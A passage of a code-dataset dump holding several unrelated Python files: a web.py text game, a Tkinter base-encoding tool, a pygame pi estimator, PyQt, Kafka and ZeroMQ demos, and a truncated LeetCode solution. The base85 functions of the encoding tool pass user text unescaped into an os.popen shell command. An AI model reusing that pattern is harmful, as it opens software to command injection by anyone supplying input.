"zwbgood6/temporal-hierarchy", "sub_path": "data/utils/gen_trajectory_video.py", "file_name": "gen_trajectory_video.py", "file_ext": "py", "file_size_in_byte": 6145, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.path.isfile", "line_number": 24, "usage_type": "call"}, {"api_name": "os.path", "line_number": 24, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 26, "usage_type": "call"}, {"api_name": "numpy.squeeze", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.split", "line_number": 27, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 40, "usage_type": "call"}, {"api_name": "numpy.float64", "line_number": 40, "usage_type": "attribute"}, {"api_name": "numpy.linspace", "line_number": 53, "usage_type": "call"}, {"api_name": "matplotlib.cm.get_cmap", "line_number": 54, "usage_type": "call"}, {"api_name": "matplotlib.cm", "line_number": 54, "usage_type": "name"}, {"api_name": "numpy.asarray", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 56, "usage_type": "attribute"}, {"api_name": "cv2.circle", "line_number": 57, "usage_type": "call"}, {"api_name": "cv2.resize", "line_number": 66, "usage_type": "call"}, {"api_name": "cv2.putText", "line_number": 69, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX_SMALL", "line_number": 71, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 76, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX_SMALL", "line_number": 78, "usage_type": "attribute"}, {"api_name": "cv2.putText", "line_number": 82, "usage_type": "call"}, {"api_name": "cv2.FONT_HERSHEY_COMPLEX_SMALL", "line_number": 84, "usage_type": "attribute"}, {"api_name": "numpy.concatenate", "line_number": 89, "usage_type": "call"}, {"api_name": "os.path.exists", "line_number": 97, "usage_type": "call"}, {"api_name": "os.path", "line_number": 97, "usage_type": "attribute"}, {"api_name": "os.makedirs", "line_number": 98, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 102, "usage_type": "call"}, {"api_name": "os.path", "line_number": 102, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 103, "usage_type": "call"}, {"api_name": "os.path", "line_number": 103, "usage_type": "attribute"}, {"api_name": "numpy.load", "line_number": 104, "usage_type": "call"}, {"api_name": "numpy.transpose", "line_number": 106, "usage_type": "call"}, {"api_name": "tqdm.tqdm", "line_number": 111, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 132, "usage_type": "call"}, {"api_name": "os.path", "line_number": 132, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 133, "usage_type": "call"}, {"api_name": "numpy.uint", "line_number": 133, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 134, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 135, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 137, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 137, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 141, "usage_type": "call"}, {"api_name": "os.path", "line_number": 141, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 142, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 142, "usage_type": "attribute"}, {"api_name": "numpy.ones", "line_number": 149, "usage_type": "call"}, {"api_name": "numpy.concatenate", "line_number": 151, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 154, "usage_type": "call"}, {"api_name": "os.path", "line_number": 154, "usage_type": "attribute"}, {"api_name": "numpy.asarray", "line_number": 155, "usage_type": "call"}, {"api_name": "numpy.uint", "line_number": 155, "usage_type": "attribute"}, {"api_name": "cv2.VideoWriter_fourcc", "line_number": 156, "usage_type": "call"}, {"api_name": "cv2.VideoWriter", "line_number": 157, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 159, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 159, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 163, "usage_type": "call"}, {"api_name": "os.path", "line_number": 163, "usage_type": "attribute"}, {"api_name": "cv2.imwrite", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.asarray", "line_number": 164, "usage_type": "call"}, {"api_name": "numpy.uint8", "line_number": 164, "usage_type": "attribute"}]} +{"seq_id": "11211788288", "text": "import web\nimport map\n\nurls = (\n '/game', 'GameEngine',\n '/', 'Index'\n)\n\napp = web.application(urls, globals())\nrender = web.template.render('templates/', base=\"layout\")\n\nif web.config.get('_session') is None:\n store = web.session.DiskStore('sessions')\n session = web.session.Session(app, store, initializer={'room': None})\n web.config._session = session\nelse:\n session = web.config._session\n\n#This is the class that is being \"runned\" first and where everything starts\n#It sets the room to be START, which is bedroom. \nclass Index(object):\n def GET(self):\n session.room = map.START\n web.seeother(\"/game\")\n\t\t\n#Player-class which is used to store letters. Was meant to become bigger and\n#the possibility to store keys to open doors and stuff, but didn't get the time to do it.\nclass Player(object):\n\tdef __init__(self, name):\n\t\tself.name = name\n\t\tself.notebook = [] \n\t\n\t#Simple function that add letters to the notebook\n\tdef add_to_notebook(letter):\n\t\tself.notebook.append(letter)\n\t\t\n\n#creates a player-object which is being used in the GameEngine.\nplayer = Player(\"Aleksander\")\n\t\t\n\t\n#This is where everything happens, where input is being fetched and analyzed and used.\nclass GameEngine(object):\n\t\n\tdef __init__(self):\n\t\tself.commands = {'restart': self.restart, \n\t\t\t\t\t\t\t'help' : self.help,\n\t\t\t\t\t\t\t'show letter' : self.show_letter,\n\t\t\t\t\t\t\t'check notebook' : self.check_notebook,\n\t\t\t\t\t\t\t'store letters' : self.store_letter}\n\n\tdef GET(self):\n\t\tif session.room:\n\t\t\treturn render.show_room(room=session.room)\n\t\telse:\n\t\t\treturn render.you_lost()\n\t\t\t\n\tdef store_letter(self):\n\t\tif session.room.letter:\n\t\t\tsession.room.output = \"The letters : %s are stored in your notebook\" % session.room.show_letter()\n\t\t\tplayer.notebook.append(session.room.letter.pop())\n\n\t\telse:\n\t\t\tsession.room.output = \"There are no letters in this room\"\n\t\t\n\tdef check_if_letters(self):\n\t\treturn len(player.notebook) == len(session.room.answer)\n\t\n\tdef check_notebook(self):\n\t\tif len(player.notebook) >0:\n\t\t\tsession.room.output = \"The letters in your notebook is: %s\" % (str(player.notebook))\n\t\telse:\n\t\t\tsession.room.output = \"There are no letters in your notebook\"\n\t\t\t\n\tdef show_letter(self):\n\t\tif len(session.room.letter)>0:\n\t\t\tsession.room.output = \"The letters in this room are: %s\" %session.room.show_letter()\n\t\telse:\n\t\t\tsession.room.output = \"There are no letters in this room anymore\" \n\t\t\t\n\tdef restart(self):\n\t\tsession.room = map.START\n\t\tweb.seeother('/game')\n\t\t\n\t#Notifies the player to use right commands\n\tdef warning(self):\n\t\tsession.room.output = \"Please write a correct command, type help to get the commands\"\n\t\n\t#Display the commands\n\tdef help(self):\n\t\tsession.room.output = \"You are in the %s , the commandlist is: %s\" %(session.room.name, self.commands.keys())\n\t\t\n\t#Different conditions for the form.\n\tdef POST(self):\n\t\tform = web.input(action=None)\n\t\tif form.action and session.room:\n\t\t\tif self.check_if_letters():\n\t\t\t\tmap.go_to_end()\n\t\t\t\tif form.action == session.room.answer:\n\t\t\t\t\twinner = session.room.go('*')\n\t\t\t\t\tsession.room = winner\n\t\t\telse:\n\t\t\t\ttransition = session.room.go(form.action)\n\t\t\t\tif transition == None:\n\t\t\t\t\tself.warning()\n\t\t\t\telif transition != None:\n\t\t\t\t\tsession.room = transition\n\t\telse:\n\t\t\tsession.room.output = \"Hey mister, you are doing it wrong, you have to write somee commands! %s\" % self.check_if_letters()\n\t\tif form.action in self.commands:\n\t\t\tself.commands[form.action]()\n\t\n\t\tweb.seeother('/game')\n\nif __name__ == \"__main__\":\n app.run()", "repo_name": "aleksl05/assignment2", "sub_path": "ex52/bin/app.py", "file_name": "app.py", "file_ext": "py", "file_size_in_byte": 3485, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "web.application", "line_number": 9, "usage_type": "call"}, {"api_name": "web.template.render", "line_number": 10, "usage_type": "call"}, {"api_name": "web.template", "line_number": 10, "usage_type": "attribute"}, {"api_name": "web.config.get", "line_number": 12, "usage_type": "call"}, {"api_name": "web.config", "line_number": 12, "usage_type": "attribute"}, {"api_name": "web.session.DiskStore", "line_number": 13, "usage_type": "call"}, {"api_name": "web.session", "line_number": 13, "usage_type": "attribute"}, {"api_name": "web.session.Session", "line_number": 14, "usage_type": "call"}, {"api_name": "web.session", "line_number": 14, "usage_type": "attribute"}, {"api_name": "web.config", "line_number": 15, "usage_type": "attribute"}, {"api_name": "web.config", "line_number": 17, "usage_type": "attribute"}, {"api_name": "map.START", "line_number": 23, "usage_type": "attribute"}, {"api_name": "web.seeother", "line_number": 24, "usage_type": "call"}, {"api_name": "map.START", "line_number": 82, "usage_type": "attribute"}, {"api_name": "web.seeother", "line_number": 83, "usage_type": "call"}, {"api_name": "web.input", "line_number": 95, "usage_type": "call"}, {"api_name": "map.go_to_end", "line_number": 98, "usage_type": "call"}, {"api_name": "web.seeother", "line_number": 113, "usage_type": "call"}]} +{"seq_id": "72551099527", "text": "import base64\nimport math\nimport base36\nfrom func.baseModule import base91, base62, base100\nimport py3base92\nfrom tkinter import END\nfrom urllib.parse import unquote\nimport base58\nimport os\n\n\ndef handleData(scr1):\n txt = scr1.get('0.0', 'end')\n txt = unquote(txt.strip(\"\\n\"))\n return txt\n\n\ndef tob16(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base64.b16encode(txt.encode()).decode()\n scr2.insert(END, res) # 输出，需要通过插入来输出\n\n\ndef fromb16(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = ''\n for i in range(0, len(txt), 2):\n j = txt[i] + txt[i + 1]\n res += chr(int(j, 16))\n scr2.insert(END, res) # 输出，需要通过插入来输出\n\n\ndef tob32(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base64.b32encode(txt.encode()).decode()\n scr2.insert(END, res)\n\n\ndef fromb32(scr1, scr2): # 解码\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n e = base64.b32decode(txt.encode('utf-8'))\n res = e.decode()\n scr2.insert(END, res)\n\n\ndef tob36(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base36.loads(txt)\n scr2.insert(END, res)\n\n\ndef fromb36(scr1, scr2): # 解码\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base36.dumps(int(txt))\n scr2.insert(END, res)\n\n\ndef tob58(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base58.b58encode(txt.encode()).decode()\n scr2.insert(END, res)\n\n\ndef fromb58(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base58.b58decode(txt.encode()).decode()\n scr2.insert(END, res)\n\n\ndef tob62(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base62.encodebytes(txt.encode())\n scr2.insert(END, res)\n\n\ndef fromb62(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base62.decodebytes(txt)\n scr2.insert(END, res)\n\n\ndef tob64(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base64.b64encode(txt.encode()).decode()\n scr2.insert(END, res)\n\n\ndef fromb64(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base64.b64decode(txt.encode()).decode()\n scr2.insert(END, res)\n\n\ndef tob851(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 1 1 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef fromb851(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 1 2 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef tob852(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 2 1 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef fromb852(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 2 2 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef tob853(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 3 1 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef fromb853(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 3 2 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef tob854(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 4 1 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef fromb854(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = os.popen(f\"php ./func/baseModule/base85.php 4 2 \\\"{txt}\\\"\").read()\n scr2.insert(END, res)\n\n\ndef tob91(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base91.encode(txt.encode())\n scr2.insert(END, res)\n\n\ndef fromb91(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base91.decode(txt)\n scr2.insert(END, res)\n\n\ndef tob92(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = py3base92.encode(txt)\n scr2.insert(END, res)\n\n\ndef fromb92(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = py3base92.decode(txt)\n scr2.insert(END, res)\n\n\ndef toba94(scr1, scr2):\n base = 94\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n out_data = []\n abc = '''!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'''\n in_data = int.from_bytes(txt.encode(), 'big')\n\n d, r = in_data % base, in_data // base\n out_data.append(abc[d])\n while r:\n d, r = r % base, r // base\n out_data.append(abc[d])\n scr2.insert(END, ''.join(out_data))\n\n\ndef fromba94(scr1, scr2):\n base = 94\n out_data = 0\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n abc = '''!\"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\\]^_`abcdefghijklmnopqrstuvwxyz{|}~'''\n # read one long string at once to memory\n in_data = txt\n\n # convert a big baseN number to decimal\n for i, ch in enumerate(in_data):\n out_data = abc.index(ch) * (base ** i) + out_data\n\n # write a big decimal number to a file as a sequence of bytes\n scr2.insert(END, out_data.to_bytes(math.ceil(out_data.bit_length() / 8), 'big'))\n\n\ndef tob100(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base100.encode(txt).decode()\n scr2.insert(END, res)\n\n\ndef fromb100(scr1, scr2):\n scr2.delete('0.0', 'end')\n txt = handleData(scr1)\n res = base100.decode(txt)\n scr2.insert(END, res)\n\n# def tob128(scr1, scr2):\n# scr2.delete('0.0', 'end')\n# txt = handleData(scr1)\n# res = os.popen(f\"php ./func/baseModule/base128.php 1 \\\"{txt}\\\"\").read()\n# with open(\"1.txt\",\"w\") as f:\n# f.writelines(res)\n# scr2.insert(END, res)\n#\n#\n# def fromb128(scr1, scr2):\n# scr2.delete('0.0', 'end')\n# txt = handleData(scr1)\n# with open(\"1.txt\",\"r\") as f:\n# res = f.readlines()[0]\n# res = os.popen(f\"php ./func/baseModule/base128.php 2 \\\"{res}\\\"\").read()\n# scr2.insert(END, res)\n", "repo_name": "Y4tacker/Web-Security", "sub_path": "CommonlyUsedScripts/base全家桶/tools/func/base.py", "file_name": "base.py", "file_ext": "py", "file_size_in_byte": 6248, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 14, "dataset": "github-code", "pt": "16", "api": [{"api_name": "urllib.parse.unquote", "line_number": 14, "usage_type": "call"}, {"api_name": "base64.b16encode", "line_number": 21, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 22, "usage_type": "argument"}, {"api_name": "tkinter.END", "line_number": 32, "usage_type": "argument"}, {"api_name": "base64.b32encode", "line_number": 38, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 39, "usage_type": "argument"}, {"api_name": "base64.b32decode", "line_number": 45, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 47, "usage_type": "argument"}, {"api_name": "base36.loads", "line_number": 53, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 54, "usage_type": "argument"}, {"api_name": "base36.dumps", "line_number": 60, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 61, "usage_type": "argument"}, {"api_name": "base58.b58encode", "line_number": 67, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 68, "usage_type": "argument"}, {"api_name": "base58.b58decode", "line_number": 74, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 75, "usage_type": "argument"}, {"api_name": "func.baseModule.base62.encodebytes", "line_number": 81, "usage_type": "call"}, {"api_name": "func.baseModule.base62", "line_number": 81, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 82, "usage_type": "argument"}, {"api_name": "func.baseModule.base62.decodebytes", "line_number": 88, "usage_type": "call"}, {"api_name": "func.baseModule.base62", "line_number": 88, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 89, "usage_type": "argument"}, {"api_name": "base64.b64encode", "line_number": 95, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 96, "usage_type": "argument"}, {"api_name": "base64.b64decode", "line_number": 102, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 103, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 109, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 110, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 116, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 117, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 123, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 124, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 130, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 131, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 137, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 138, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 144, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 145, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 151, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 152, "usage_type": "argument"}, {"api_name": "os.popen", "line_number": 158, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 159, "usage_type": "argument"}, {"api_name": "func.baseModule.base91.encode", "line_number": 165, "usage_type": "call"}, {"api_name": "func.baseModule.base91", "line_number": 165, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 166, "usage_type": "argument"}, {"api_name": "func.baseModule.base91.decode", "line_number": 172, "usage_type": "call"}, {"api_name": "func.baseModule.base91", "line_number": 172, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 173, "usage_type": "argument"}, {"api_name": "py3base92.encode", "line_number": 179, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 180, "usage_type": "argument"}, {"api_name": "py3base92.decode", "line_number": 186, "usage_type": "call"}, {"api_name": "tkinter.END", "line_number": 187, "usage_type": "argument"}, {"api_name": "tkinter.END", "line_number": 203, "usage_type": "argument"}, {"api_name": "tkinter.END", "line_number": 220, "usage_type": "argument"}, {"api_name": "math.ceil", "line_number": 220, "usage_type": "call"}, {"api_name": "func.baseModule.base100.encode", "line_number": 226, "usage_type": "call"}, {"api_name": "func.baseModule.base100", "line_number": 226, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 227, "usage_type": "argument"}, {"api_name": "func.baseModule.base100.decode", "line_number": 233, "usage_type": "call"}, {"api_name": "func.baseModule.base100", "line_number": 233, "usage_type": "name"}, {"api_name": "tkinter.END", "line_number": 234, "usage_type": "argument"}]} +{"seq_id": "3188136991", "text": "from os import environ\nenviron['PYGAME_HIDE_SUPPORT_PROMPT'] = '1'\n\nimport pygame\nimport math\nimport sys\nimport random\nfrom decimal import *\n\n\n\ndef main():\n\n # some config\n FPS = 120\n PPS = 100 # points per seconds\n \n COLOR1 = (0, 238, 255)\n COLOR2 = (255, 153, 0)\n\n\n # window config\n pygame.init()\n pygame.display.set_caption('Pi Calculation')\n screen_width, screen_height = 400, 400\n screen = pygame.display.set_mode((screen_width, screen_height))\n\n # configure circle\n circle_pos = (screen_width//2, screen_height//2)\n circle_radius = min(circle_pos)\n\n # precision setting\n sys.maxsize = 50\n getcontext().prec = 50\n\n # points\n circle_points = Decimal(0)\n square_points = Decimal(0)\n\n #\n IsRunning = True\n clock = pygame.time.Clock()\n #\n \n def calc_dist(p: tuple = (0, 0)):\n relativepos = (abs(p[0] - circle_pos[0]), abs(p[1] - circle_pos[1]))\n return Decimal(Decimal(relativepos[0]) * Decimal(relativepos[0]) + Decimal(relativepos[1]) * Decimal(relativepos[1])).sqrt()\n\n while IsRunning:\n\n # controll fps via clock\n delay = 1 / clock.tick(FPS)\n\n # events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n IsRunning = False;\n\n for _ in range(0, int(delay * PPS)):\n # rand pointe\n point = (random.randint(0, screen_width), random.randint(0, screen_height))\n square_points +=1\n\n # if in circle\n if(calc_dist(point) < circle_radius):\n pygame.draw.rect(screen, COLOR1, (point[0], point[1], 1,1))\n circle_points += 1\n else:\n pygame.draw.rect(screen, COLOR2, (point[0], point[1], 1,1))\n\n # update screen\n pygame.display.update()\n\n # calculate pi\n print(f'π = {Decimal((circle_points/square_points)*Decimal(4))}')\nif __name__ == \"__main__\":\n main()", "repo_name": "Zer0AlmostNull/randPiCalculation", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1951, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "16", "api": [{"api_name": "os.environ", "line_number": 2, "usage_type": "name"}, {"api_name": "pygame.init", "line_number": 23, "usage_type": "call"}, {"api_name": "pygame.display.set_caption", "line_number": 24, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 24, "usage_type": "attribute"}, {"api_name": "pygame.display.set_mode", "line_number": 26, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 26, "usage_type": "attribute"}, {"api_name": "sys.maxsize", "line_number": 33, "usage_type": "attribute"}, {"api_name": "pygame.time.Clock", "line_number": 42, "usage_type": "call"}, {"api_name": "pygame.time", "line_number": 42, "usage_type": "attribute"}, {"api_name": "pygame.event.get", "line_number": 55, "usage_type": "call"}, {"api_name": "pygame.event", "line_number": 55, "usage_type": "attribute"}, {"api_name": "pygame.QUIT", "line_number": 56, "usage_type": "attribute"}, {"api_name": "random.randint", "line_number": 61, "usage_type": "call"}, {"api_name": "pygame.draw.rect", "line_number": 66, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 66, "usage_type": "attribute"}, {"api_name": "pygame.draw.rect", "line_number": 69, "usage_type": "call"}, {"api_name": "pygame.draw", "line_number": 69, "usage_type": "attribute"}, {"api_name": "pygame.display.update", "line_number": 72, "usage_type": "call"}, {"api_name": "pygame.display", "line_number": 72, "usage_type": "attribute"}]} +{"seq_id": "25945625759", "text": "\nimport sys\nfrom PyQt5.QtGui import QIcon\nfrom PyQt5.QtWidgets import QMainWindow, QPushButton, QApplication\nfrom PyQt5 import QtGui, QtCore\n\n\nclass Window(QMainWindow):\n\n def __init__(self):\n super(Window, self).__init__()\n self.setGeometry(50, 50, 500, 300)\n self.setWindowTitle(\"inecsoft!\")\n self.setWindowIcon(QIcon('pythonlogo.png'))\n self.home()\n\n def home(self):\n btn = QPushButton(\"Quit\", self)\n btn.clicked.connect(self.close_application)\n btn.resize(btn.minimumSizeHint())\n btn.move(0,0)\n self.show()\n\n def close_application(self):\n print(\"whooaaaa so custom!!!\")\n sys.exit()\n \ndef run():\n app = QApplication(sys.argv)\n GUI = Window()\n sys.exit(app.exec_())\n\n\nrun()", "repo_name": "ivanpedro/QT_dev", "sub_path": "pyprograming/Button_Functions/Button_Functions/Button_Functions.py", "file_name": "Button_Functions.py", "file_ext": "py", "file_size_in_byte": 780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "PyQt5.QtWidgets.QMainWindow", "line_number": 8, "usage_type": "name"}, {"api_name": "PyQt5.QtGui.QIcon", "line_number": 14, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QPushButton", "line_number": 18, "usage_type": "call"}, {"api_name": "sys.exit", "line_number": 26, "usage_type": "call"}, {"api_name": "PyQt5.QtWidgets.QApplication", "line_number": 29, "usage_type": "call"}, {"api_name": "sys.argv", "line_number": 29, "usage_type": "attribute"}, {"api_name": "sys.exit", "line_number": 31, "usage_type": "call"}]} +{"seq_id": "73797423368", "text": "from confluent_kafka import Producer\n\n# Kafka settings\nbootstrap_servers = 'localhost:9092' # Kafka broker address\ntopic = 'my-topic' # Kafka topic name you want to send data to\n\n# Kafka producer configuration\nproducer_config = {\n 'bootstrap.servers': bootstrap_servers\n}\n\n# Create Kafka producer\nproducer = Producer(producer_config)\n\n# Sending data to Kafka topic\nfor i in range(10): # Sending 10 messages as an example\n message = f\"Message {i}\"\n producer.produce(topic, value=message)\n producer.flush() # Flush to transmit the produced data to the broker\n\nprint(\"Messages sent.\")\n", "repo_name": "ramazanakkulak/apache-kafka-docker", "sub_path": "producer/producer.py", "file_name": "producer.py", "file_ext": "py", "file_size_in_byte": 598, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "confluent_kafka.Producer", "line_number": 13, "usage_type": "call"}]} +{"seq_id": "27069682607", "text": "import time\nimport zmq\n\n# simplest request-reply flow\n\ncontext = zmq.Context()\nsocket = context.socket(zmq.REP)\n# server binds while client connects\nsocket.bind(\"tcp://*:5555\")\n\nprint(\"Current libzmq version is %s\" % zmq.zmq_version())\nprint(\"Current pyzmq version is %s\" % zmq.__version__)\n\nwhile True:\n # Wait for next request from client\n message = socket.recv()\n print(\"Received request: %s\" % message)\n\n # Do some 'work'\n time.sleep(0.2)\n\n # Send reply back to client\n socket.send(b\"World\")\n", "repo_name": "kawing-chiu/exc", "sub_path": "Python/16pyzmq/simple_examples/hello_world_server.py", "file_name": "hello_world_server.py", "file_ext": "py", "file_size_in_byte": 521, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "16", "api": [{"api_name": "zmq.Context", "line_number": 6, "usage_type": "call"}, {"api_name": "zmq.REP", "line_number": 7, "usage_type": "attribute"}, {"api_name": "zmq.zmq_version", "line_number": 11, "usage_type": "call"}, {"api_name": "zmq.__version__", "line_number": 12, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 20, "usage_type": "call"}]} +{"seq_id": "70438545928", "text": "\"\"\"\n给定一个仅包含 0 和 1 的二维二进制矩阵，找出只包含 1 的最大矩形，并返回其面积。\n\n示例:\n\n输入:\n[\n [\"1\",\"0\",\"1\",\"0\",\"0\"],\n [\"1\",\"0\",\"1\",\"1\",\"1\"],\n [\"1\",\"1\",\"1\",\"1\",\"1\"],\n [\"1\",\"0\",\"0\",\"1\",\"0\"]\n]\n输出: 6\n\n来源：力扣（LeetCode）\n链接：https://leetcode-cn.com/problems/maximal-rectangle\n著作权归领扣网络所有。商业转载请联系官方授权，非商业转载请注明出处。\n\"\"\"\nfrom typing import List\n\n\nclass Solution:\n def maximalRectangle1(self, mat: List[List[str]]) -> int:\n \"\"\"\n 思路：动态规划法\n 1. 从左到右计算连续1的个数\n 2. 从下到上计算每种宽度矩形的面积(i - k + 1) * minN\n \"\"\"\n if not mat:\n return 0\n m, n = len(mat), len(mat[0])\n res = 0\n dp = [[0] * n for _ in range(m)]\n for i in range(m):\n for j in range(n):\n if mat[i][j] == \"1\":\n dp[i][j] = dp[i][j - 1] + 1 if j > 0 else 1\n minN = float('inf')\n for k in range(i, -1, -1):\n if dp[k][j]:\n minN = min(minN, dp[k][j])\n res = max(res, (i - k + 1) * minN)\n # print(res)\n else:\n break\n return res\n\n def maximalRectangle2(self, matrix: List[List[str]]) -> int:\n \"\"\"\n 思路：前缀和+单调栈\n 1. 计算每一列前面连续1的个数，即每个矩形的高度\n 2. 每一行利用单调栈计算最大的矩形\n \"\"\"\n if not matrix:\n return 0\n m, n = len(matrix), len(matrix[0])\n dp = [[0] * n for _ in range(m)]\n res = 0\n for i in range(m):\n for j in range(n):\n if matrix[i][j] == \"1\":\n dp[i][j] = dp[i - 1][j] + 1 if i > 0 else 1\n stack = [-1]\n nums = dp[i]\n nums.append(0)\n for k, num in enumerate(nums):\n while stack and nums[stack[-1]] > num:\n index = stack.pop()\n res = max(res, (k - stack[-1] - 1) * nums[index])\n stack.append(k)\n\n return res\n\n\nif __name__ == '__main__':\n matric = [\n [\"1\", \"0\", \"1\", \"0\", \"0\"],\n [\"1\", \"0\", \"1\", \"1\", \"1\"],\n [\"1\", \"1\", \"1\", \"1\", \"1\"],\n 